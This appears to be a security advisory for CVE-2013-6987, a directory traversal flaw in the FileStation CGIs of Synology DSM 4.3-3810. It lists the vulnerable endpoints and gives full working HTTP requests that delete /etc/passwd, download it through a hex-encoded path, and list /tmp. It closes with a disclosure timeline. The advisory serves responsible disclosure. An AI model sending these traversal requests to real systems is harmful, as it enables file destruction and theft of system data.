Synology DSM 4.3-3810 - Directory Traversal

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Title: Synology DSM multiple directory traversal
Version affected: <= 4.3-3810
Vendor: Synology
Discovered by: Andrea Fabrizi
Email: [email protected]
Web: http://www.andreafabrizi.it
Twitter: @andreaf83
Status: patched
CVE: 2013-6987
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I'm again here with a Synology DSM vulnerability.

Synology DiskStation Manager (DSM) it's a Linux based operating
system, used for the DiskStation and RackStation products.

I found a lot of directory traversal in the FileBrowser components.
This kind of vulnerability allows any authenticated user, even if not
administrative, to access, create, delete, modify system and
configuration files.

The only countermeasure implemented against this vulnerability is the
check that the path starts with a valid shared folder, so is enough to
put the "../" straight after, to bypass the security check.

Vulnerables CGIs:
- /webapi/FileStation/html5_upload.cgi
- /webapi/FileStation/file_delete.cgi
- /webapi/FileStation/file_download.cgi
- /webapi/FileStation/file_sharing.cgi
- /webapi/FileStation/file_share.cgi
- /webapi/FileStation/file_MVCP.cgi
- /webapi/FileStation/file_rename.cgi

Not tested all the CGI, but I guess that many others are vulnerable,
so don't take my list as comprehensive.

Following some examples ("test" is a valid folder name):

- Delete /etc/passwd
===========================================
POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
===========================================

- Arbitrary file download:
===========================================
GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
Host: 192.168.56.101:5000
Connection: keep-alive
Authorization: Basic XXXXXXXX
===========================================

2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd

- Remote file list:
=========================
POST /webapi/FileStation/file_share.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2

folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
==========================

Timeline:
- 05/12/2013: First contact with the vendor
- 06/12/2013: Vulnerability details sent to the vendor
- 20/12/2013: Patch released by the vendor